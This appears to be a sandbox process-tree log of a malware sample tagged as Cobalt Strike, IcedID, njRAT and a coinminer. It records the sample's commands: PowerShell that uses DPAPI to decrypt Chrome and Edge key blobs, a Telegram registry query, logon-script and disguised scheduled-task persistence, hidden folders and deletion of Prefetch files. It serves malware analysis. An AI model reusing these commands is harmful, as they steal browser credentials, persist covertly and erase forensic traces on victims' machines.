                                                                                                                                          • Views/modifies file attributes
                                                                                                                                          PID:1700
                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                        C:\Windows\system32\cmd.exe /d /s /c "reg delete "HKCU\Environment" /v UserInitMprLogonScript /f"
                                                                                                                                        2⤵
                                                                                                                                          PID:3560
                                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                                            reg delete "HKCU\Environment" /v UserInitMprLogonScript /f
                                                                                                                                            3⤵
                                                                                                                                              PID:5088
                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                            C:\Windows\system32\cmd.exe /d /s /c "del /q /f /s "%windir%\Prefetch\*.pf""
                                                                                                                                            2⤵
                                                                                                                                              PID:3288
                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                              C:\Windows\system32\cmd.exe /d /s /c "start "" "C:\Users\Admin\AppData\Local\Temp\sd_1784065357708.bat""
                                                                                                                                              2⤵
                                                                                                                                                PID:4332
                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\sd_1784065357708.bat"
                                                                                                                                                  3⤵
                                                                                                                                                    PID:3012
                                                                                                                                                    • C:\Windows\system32\timeout.exe
                                                                                                                                                      timeout /t 5
                                                                                                                                                      4⤵
                                                                                                                                                      • Delays execution with timeout.exe
                                                                                                                                                      PID:2904
                                                                                                                                              • C:\Users\Admin\AppData\Roaming\.767c787ecache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
                                                                                                                                                C:\Users\Admin\AppData\Roaming\.767c787ecache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
                                                                                                                                                1⤵
                                                                                                                                                • Executes dropped EXE
                                                                                                                                                • Checks processor information in registry
                                                                                                                                                PID:5228
                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                  C:\Windows\system32\cmd.exe /d /s /c "tasklist /FI "PID eq 4908" /FO CSV /NH"
                                                                                                                                                  2⤵
                                                                                                                                                    PID:4904
                                                                                                                                                    • C:\Windows\system32\tasklist.exe
                                                                                                                                                      tasklist /FI "PID eq 4908" /FO CSV /NH
                                                                                                                                                      3⤵
                                                                                                                                                      • Enumerates processes with tasklist
                                                                                                                                                      PID:1904
                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Telegram Desktop" /v "path""
                                                                                                                                                    2⤵
                                                                                                                                                      PID:3356
                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                        reg query "HKCU\Software\Telegram Desktop" /v "path"
                                                                                                                                                        3⤵
                                                                                                                                                          PID:2844
                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "[void][System.Reflection.Assembly]::LoadWithPartialName('System.Security'); try { $data = [System.Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABhUMd+qrkkqFOcXDo7+GQRAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAL7e3Ik4UKt5F6q9U7/CsESFXcDYfIYJc0ud1btrLgNlAAAAAA6AAAAAAgAAIAAAAA/Hry+BsTfF9GmmAQ1vZCIPNXb4aWVdaUccXHzXTFnRMAAAALKeECq2QKym7BBoSDVLL6rQ4rb5R4fM8+mh1xipKrhtDDVxOCfrWPIAMBynJqruq0AAAABVllJdLkxoBiw4v2U92TLde7ZOF1OdN9yitxI+nqCzDD68f5nVWjm7PI2Glke/G4aA8d8wacddU82iUhi0Deqq'); $entropy = $null; $unprotected = [System.Security.Cryptography.ProtectedData]::Unprotect( $data, $entropy, [System.Security.Cryptography.DataProtectionScope]::CurrentUser ); if ($unprotected -ne $null -and $unprotected.Length -gt 0) { [System.Convert]::ToBase64String($unprotected); } else { exit(1); } } catch { exit(1); }""
                                                                                                                                                        2⤵
                                                                                                                                                          PID:3008
                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                            powershell -NoProfile -ExecutionPolicy Bypass -Command "[void][System.Reflection.Assembly]::LoadWithPartialName('System.Security'); try { $data = [System.Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABhUMd+qrkkqFOcXDo7+GQRAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAL7e3Ik4UKt5F6q9U7/CsESFXcDYfIYJc0ud1btrLgNlAAAAAA6AAAAAAgAAIAAAAA/Hry+BsTfF9GmmAQ1vZCIPNXb4aWVdaUccXHzXTFnRMAAAALKeECq2QKym7BBoSDVLL6rQ4rb5R4fM8+mh1xipKrhtDDVxOCfrWPIAMBynJqruq0AAAABVllJdLkxoBiw4v2U92TLde7ZOF1OdN9yitxI+nqCzDD68f5nVWjm7PI2Glke/G4aA8d8wacddU82iUhi0Deqq'); $entropy = $null; $unprotected = [System.Security.Cryptography.ProtectedData]::Unprotect( $data, $entropy, [System.Security.Cryptography.DataProtectionScope]::CurrentUser ); if ($unprotected -ne $null -and $unprotected.Length -gt 0) { [System.Convert]::ToBase64String($unprotected); } else { exit(1); } } catch { exit(1); }"
                                                                                                                                                            3⤵
                                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                                            PID:260
                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                          C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "[void][System.Reflection.Assembly]::LoadWithPartialName('System.Security'); try { $data = [System.Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABhUMd+qrkkqFOcXDo7+GQRAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAxPfPRmojLapQHIye3KihZxQTcvqS+Jmmu1nYcPiT+P4AAAAADoAAAAACAAAgAAAAFZByz8DUWJLfnuGl3KIPWJG9zNl81pAjek1tGJt4WpAwAAAArpuW4Y7tKISRn8/IFl7F/MMLzu4knK2OfMPr6gKIc3lsTisbNlOQwGrhp/St/EDjQAAAAJnftYfscSeGs/LSL4YKcPpJTEoaCGGdHEyq16E/CNUSmWiNIDgYnxkoTpSKSbeNrWrKphLxx57eNpChjHRk2KY='); $entropy = $null; $unprotected = [System.Security.Cryptography.ProtectedData]::Unprotect( $data, $entropy, [System.Security.Cryptography.DataProtectionScope]::CurrentUser ); if ($unprotected -ne $null -and $unprotected.Length -gt 0) { [System.Convert]::ToBase64String($unprotected); } else { exit(1); } } catch { exit(1); }""
                                                                                                                                                          2⤵
                                                                                                                                                          • Network Service Discovery
                                                                                                                                                          PID:4620
                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                            powershell -NoProfile -ExecutionPolicy Bypass -Command "[void][System.Reflection.Assembly]::LoadWithPartialName('System.Security'); try { $data = [System.Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABhUMd+qrkkqFOcXDo7+GQRAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAxPfPRmojLapQHIye3KihZxQTcvqS+Jmmu1nYcPiT+P4AAAAADoAAAAACAAAgAAAAFZByz8DUWJLfnuGl3KIPWJG9zNl81pAjek1tGJt4WpAwAAAArpuW4Y7tKISRn8/IFl7F/MMLzu4knK2OfMPr6gKIc3lsTisbNlOQwGrhp/St/EDjQAAAAJnftYfscSeGs/LSL4YKcPpJTEoaCGGdHEyq16E/CNUSmWiNIDgYnxkoTpSKSbeNrWrKphLxx57eNpChjHRk2KY='); $entropy = $null; $unprotected = [System.Security.Cryptography.ProtectedData]::Unprotect( $data, $entropy, [System.Security.Cryptography.DataProtectionScope]::CurrentUser ); if ($unprotected -ne $null -and $unprotected.Length -gt 0) { [System.Convert]::ToBase64String($unprotected); } else { exit(1); } } catch { exit(1); }"
                                                                                                                                                            3⤵
                                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                                            • Network Service Discovery
                                                                                                                                                            PID:3952
                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                          C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
                                                                                                                                                          2⤵
                                                                                                                                                            PID:1956
                                                                                                                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                              wmic path win32_VideoController get name
                                                                                                                                                              3⤵
                                                                                                                                                              • Detects videocard installed
                                                                                                                                                              PID:4608
                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                            C:\Windows\system32\cmd.exe /d /s /c "attrib +h +s "C:\Users\Admin\AppData\Roaming\.acdbd123cache""
                                                                                                                                                            2⤵
                                                                                                                                                            • Hide Artifacts: Hidden Files and Directories
                                                                                                                                                            PID:4356
                                                                                                                                                            • C:\Windows\system32\attrib.exe
                                                                                                                                                              attrib +h +s "C:\Users\Admin\AppData\Roaming\.acdbd123cache"
                                                                                                                                                              3⤵
                                                                                                                                                              • Views/modifies file attributes
                                                                                                                                                              PID:3124
                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                            C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\.acdbd123cache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe" /f"
                                                                                                                                                            2⤵
                                                                                                                                                              PID:2088
                                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                                reg add "HKCU\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\.acdbd123cache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe" /f
                                                                                                                                                                3⤵
                                                                                                                                                                • Registers new Windows logon scripts automatically executed at logon.
                                                                                                                                                                PID:2424
                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                              C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /f /tn "MicrosoftOfficeTelemetryUpdate" /tr "C:\Users\Admin\AppData\Roaming\.acdbd123cache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe" /sc onlogon /rl highest"
                                                                                                                                                              2⤵
                                                                                                                                                                PID:5912
                                                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                                                  schtasks /create /f /tn "MicrosoftOfficeTelemetryUpdate" /tr "C:\Users\Admin\AppData\Roaming\.acdbd123cache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe" /sc onlogon /rl highest
                                                                                                                                                                  3⤵
                                                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                  PID:4396
                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                C:\Windows\system32\cmd.exe /d /s /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\f_f0e258d44e5783d0.dat""
                                                                                                                                                                2⤵
                                                                                                                                                                • Hide Artifacts: Hidden Files and Directories
                                                                                                                                                                PID:4828
                                                                                                                                                                • C:\Windows\system32\attrib.exe
                                                                                                                                                                  attrib +h +s "C:\Users\Admin\AppData\Local\Temp\f_f0e258d44e5783d0.dat"
                                                                                                                                                                  3⤵
                                                                                                                                                                  • Views/modifies file attributes
                                                                                                                                                                  PID:1600
                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                C:\Windows\system32\cmd.exe /d /s /c "reg delete "HKCU\Environment" /v UserInitMprLogonScript /f"
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:2944
                                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                                    reg delete "HKCU\Environment" /v UserInitMprLogonScript /f
                                                                                                                                                                    3⤵
                                                                                                                                                                      PID:6064
                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                    C:\Windows\system32\cmd.exe /d /s /c "del /q /f /s "%windir%\Prefetch\*.pf""
                                                                                                                                                                    2⤵
                                                                                                                                                                      PID:5364
                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                      C:\Windows\system32\cmd.exe /d /s /c "start "" "C:\Users\Admin\AppData\Local\Temp\sd_1784065362711.bat""
                                                                                                                                                                      2⤵
                                                                                                                                                                        PID:2072
                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                          C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\sd_1784065362711.bat"
                                                                                                                                                                          3⤵
                                                                                                                                                                            PID:5528
                                                                                                                                                                            • C:\Windows\system32\timeout.exe
                                                                                                                                                                              timeout /t 5
                                                                                                                                                                              4⤵
                                                                                                                                                                              • Delays execution with timeout.exe
                                                                                                                                                                              PID:1132
                                                                                                                                                                      • C:\Users\Admin\AppData\Roaming\.acdbd123cache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
                                                                                                                                                                        C:\Users\Admin\AppData\Roaming\.acdbd123cache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
                                                                                                                                                                        1⤵
                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                        • Checks processor information in registry
                                                                                                                                                                        PID:3236
                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                          C:\Windows\system32\cmd.exe /d /s /c "tasklist /FI "PID eq 1100" /FO CSV /NH"
                                                                                                                                                                          2⤵
                                                                                                                                                                            PID:5824
                                                                                                                                                                            • C:\Windows\system32\tasklist.exe
                                                                                                                                                                              tasklist /FI "PID eq 1100" /FO CSV /NH
                                                                                                                                                                              3⤵
                                                                                                                                                                              • Enumerates processes with tasklist
                                                                                                                                                                              PID:5668
                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                            C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Telegram Desktop" /v "path""
                                                                                                                                                                            2⤵
                                                                                                                                                                              PID:1700
                                                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                                                reg query "HKCU\Software\Telegram Desktop" /v "path"
                                                                                                                                                                                3⤵
                                                                                                                                                                                  PID:6100
                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "[void][System.Reflection.Assembly]::LoadWithPartialName('System.Security'); try { $data = [System.Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABhUMd+qrkkqFOcXDo7+GQRAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAL7e3Ik4UKt5F6q9U7/CsESFXcDYfIYJc0ud1btrLgNlAAAAAA6AAAAAAgAAIAAAAA/Hry+BsTfF9GmmAQ1vZCIPNXb4aWVdaUccXHzXTFnRMAAAALKeECq2QKym7BBoSDVLL6rQ4rb5R4fM8+mh1xipKrhtDDVxOCfrWPIAMBynJqruq0AAAABVllJdLkxoBiw4v2U92TLde7ZOF1OdN9yitxI+nqCzDD68f5nVWjm7PI2Glke/G4aA8d8wacddU82iUhi0Deqq'); $entropy = $null; $unprotected = [System.Security.Cryptography.ProtectedData]::Unprotect( $data, $entropy, [System.Security.Cryptography.DataProtectionScope]::CurrentUser ); if ($unprotected -ne $null -and $unprotected.Length -gt 0) { [System.Convert]::ToBase64String($unprotected); } else { exit(1); } } catch { exit(1); }""
                                                                                                                                                                                2⤵
                                                                                                                                                                                  PID:5088
                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                    powershell -NoProfile -ExecutionPolicy Bypass -Command "[void][System.Reflection.Assembly]::LoadWithPartialName('System.Security'); try { $data = [System.Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABhUMd+qrkkqFOcXDo7+GQRAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAL7e3Ik4UKt5F6q9U7/CsESFXcDYfIYJc0ud1btrLgNlAAAAAA6AAAAAAgAAIAAAAA/Hry+BsTfF9GmmAQ1vZCIPNXb4aWVdaUccXHzXTFnRMAAAALKeECq2QKym7BBoSDVLL6rQ4rb5R4fM8+mh1xipKrhtDDVxOCfrWPIAMBynJqruq0AAAABVllJdLkxoBiw4v2U92TLde7ZOF1OdN9yitxI+nqCzDD68f5nVWjm7PI2Glke/G4aA8d8wacddU82iUhi0Deqq'); $entropy = $null; $unprotected = [System.Security.Cryptography.ProtectedData]::Unprotect( $data, $entropy, [System.Security.Cryptography.DataProtectionScope]::CurrentUser ); if ($unprotected -ne $null -and $unprotected.Length -gt 0) { [System.Convert]::ToBase64String($unprotected); } else { exit(1); } } catch { exit(1); }"
                                                                                                                                                                                    3⤵
                                                                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                    PID:568
                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "[void][System.Reflection.Assembly]::LoadWithPartialName('System.Security'); try { $data = [System.Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABhUMd+qrkkqFOcXDo7+GQRAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAxPfPRmojLapQHIye3KihZxQTcvqS+Jmmu1nYcPiT+P4AAAAADoAAAAACAAAgAAAAFZByz8DUWJLfnuGl3KIPWJG9zNl81pAjek1tGJt4WpAwAAAArpuW4Y7tKISRn8/IFl7F/MMLzu4knK2OfMPr6gKIc3lsTisbNlOQwGrhp/St/EDjQAAAAJnftYfscSeGs/LSL4YKcPpJTEoaCGGdHEyq16E/CNUSmWiNIDgYnxkoTpSKSbeNrWrKphLxx57eNpChjHRk2KY='); $entropy = $null; $unprotected = [System.Security.Cryptography.ProtectedData]::Unprotect( $data, $entropy, [System.Security.Cryptography.DataProtectionScope]::CurrentUser ); if ($unprotected -ne $null -and $unprotected.Length -gt 0) { [System.Convert]::ToBase64String($unprotected); } else { exit(1); } } catch { exit(1); }""
                                                                                                                                                                                  2⤵
                                                                                                                                                                                  • Network Service Discovery
                                                                                                                                                                                  PID:1448
                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                    powershell -NoProfile -ExecutionPolicy Bypass -Command "[void][System.Reflection.Assembly]::LoadWithPartialName('System.Security'); try { $data = [System.Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABhUMd+qrkkqFOcXDo7+GQRAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAxPfPRmojLapQHIye3KihZxQTcvqS+Jmmu1nYcPiT+P4AAAAADoAAAAACAAAgAAAAFZByz8DUWJLfnuGl3KIPWJG9zNl81pAjek1tGJt4WpAwAAAArpuW4Y7tKISRn8/IFl7F/MMLzu4knK2OfMPr6gKIc3lsTisbNlOQwGrhp/St/EDjQAAAAJnftYfscSeGs/LSL4YKcPpJTEoaCGGdHEyq16E/CNUSmWiNIDgYnxkoTpSKSbeNrWrKphLxx57eNpChjHRk2KY='); $entropy = $null; $unprotected = [System.Security.Cryptography.ProtectedData]::Unprotect( $data, $entropy, [System.Security.Cryptography.DataProtectionScope]::CurrentUser ); if ($unprotected -ne $null -and $unprotected.Length -gt 0) { [System.Convert]::ToBase64String($unprotected); } else { exit(1); } } catch { exit(1); }"
                                                                                                                                                                                    3⤵
                                                                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                    • Network Service Discovery
                                                                                                                                                                                    PID:4804
                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                  C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
                                                                                                                                                                                  2⤵
                                                                                                                                                                                    PID:5024
                                                                                                                                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                      wmic path win32_VideoController get name
                                                                                                                                                                                      3⤵
                                                                                                                                                                                      • Detects videocard installed
                                                                                                                                                                                      PID:2960
                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                    C:\Windows\system32\cmd.exe /d /s /c "attrib +h +s "C:\Users\Admin\AppData\Roaming\.42d1b9c5cache""
                                                                                                                                                                                    2⤵
                                                                                                                                                                                    • Hide Artifacts: Hidden Files and Directories
                                                                                                                                                                                    PID:4496
                                                                                                                                                                                    • C:\Windows\system32\attrib.exe
                                                                                                                                                                                      attrib +h +s "C:\Users\Admin\AppData\Roaming\.42d1b9c5cache"
                                                                                                                                                                                      3⤵
                                                                                                                                                                                      • Views/modifies file attributes
                                                                                                                                                                                      PID:4264
                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\.42d1b9c5cache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe" /f"
                                                                                                                                                                                    2⤵
                                                                                                                                                                                      PID:5916
                                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                                        reg add "HKCU\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\.42d1b9c5cache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe" /f
                                                                                                                                                                                        3⤵
                                                                                                                                                                                        • Registers new Windows logon scripts automatically executed at logon.
                                                                                                                                                                                        PID:1708
                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                      C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /f /tn "MicrosoftOfficeTelemetryUpdate" /tr "C:\Users\Admin\AppData\Roaming\.42d1b9c5cache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe" /sc onlogon /rl highest"
                                                                                                                                                                                      2⤵
                                                                                                                                                                                        PID:6060
                                                                                                                                                                                        • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                          schtasks /create /f /tn "MicrosoftOfficeTelemetryUpdate" /tr "C:\Users\Admin\AppData\Roaming\.42d1b9c5cache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe" /sc onlogon /rl highest
                                                                                                                                                                                          3⤵
                                                                                                                                                                                          • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                          PID:2936
                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                        C:\Windows\system32\cmd.exe /d /s /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\f_07e0e9e1c7ed44e5.dat""
                                                                                                                                                                                        2⤵
                                                                                                                                                                                        • Hide Artifacts: Hidden Files and Directories
                                                                                                                                                                                        PID:4864
                                                                                                                                                                                        • C:\Windows\system32\attrib.exe
                                                                                                                                                                                          attrib +h +s "C:\Users\Admin\AppData\Local\Temp\f_07e0e9e1c7ed44e5.dat"
                                                                                                                                                                                          3⤵
                                                                                                                                                                                          • Views/modifies file attributes
                                                                                                                                                                                          PID:548
                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                        C:\Windows\system32\cmd.exe /d /s /c "reg delete "HKCU\Environment" /v UserInitMprLogonScript /f"
                                                                                                                                                                                        2⤵
                                                                                                                                                                                          PID:3444
                                                                                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                                                                                            reg delete "HKCU\Environment" /v UserInitMprLogonScript /f
                                                                                                                                                                                            3⤵
                                                                                                                                                                                              PID:1036
                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                            C:\Windows\system32\cmd.exe /d /s /c "del /q /f /s "%windir%\Prefetch\*.pf""
                                                                                                                                                                                            2⤵
                                                                                                                                                                                              PID:6116
                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                              C:\Windows\system32\cmd.exe /d /s /c "start "" "C:\Users\Admin\AppData\Local\Temp\sd_1784065409845.bat""
                                                                                                                                                                                              2⤵
                                                                                                                                                                                                PID:5432
                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\sd_1784065409845.bat"
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                    PID:2464
                                                                                                                                                                                                    • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                      timeout /t 5
                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                      • Delays execution with timeout.exe
                                                                                                                                                                                                      PID:4888
                                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\.42d1b9c5cache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
                                                                                                                                                                                                C:\Users\Admin\AppData\Roaming\.42d1b9c5cache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
                                                                                                                                                                                                1⤵
                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                • Checks processor information in registry
                                                                                                                                                                                                PID:1920
                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /d /s /c "tasklist /FI "PID eq 1852" /FO CSV /NH"
                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                    PID:4608
                                                                                                                                                                                                    • C:\Windows\system32\tasklist.exe
                                                                                                                                                                                                      tasklist /FI "PID eq 1852" /FO CSV /NH
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                      • Enumerates processes with tasklist
                                                                                                                                                                                                      PID:4252
                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Telegram Desktop" /v "path""
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                      PID:3124
                                                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                                                        reg query "HKCU\Software\Telegram Desktop" /v "path"
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                          PID:2632
                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "[void][System.Reflection.Assembly]::LoadWithPartialName('System.Security'); try { $data = [System.Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABhUMd+qrkkqFOcXDo7+GQRAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAL7e3Ik4UKt5F6q9U7/CsESFXcDYfIYJc0ud1btrLgNlAAAAAA6AAAAAAgAAIAAAAA/Hry+BsTfF9GmmAQ1vZCIPNXb4aWVdaUccXHzXTFnRMAAAALKeECq2QKym7BBoSDVLL6rQ4rb5R4fM8+mh1xipKrhtDDVxOCfrWPIAMBynJqruq0AAAABVllJdLkxoBiw4v2U92TLde7ZOF1OdN9yitxI+nqCzDD68f5nVWjm7PI2Glke/G4aA8d8wacddU82iUhi0Deqq'); $entropy = $null; $unprotected = [System.Security.Cryptography.ProtectedData]::Unprotect( $data, $entropy, [System.Security.Cryptography.DataProtectionScope]::CurrentUser ); if ($unprotected -ne $null -and $unprotected.Length -gt 0) { [System.Convert]::ToBase64String($unprotected); } else { exit(1); } } catch { exit(1); }""
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                          PID:2424
                                                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
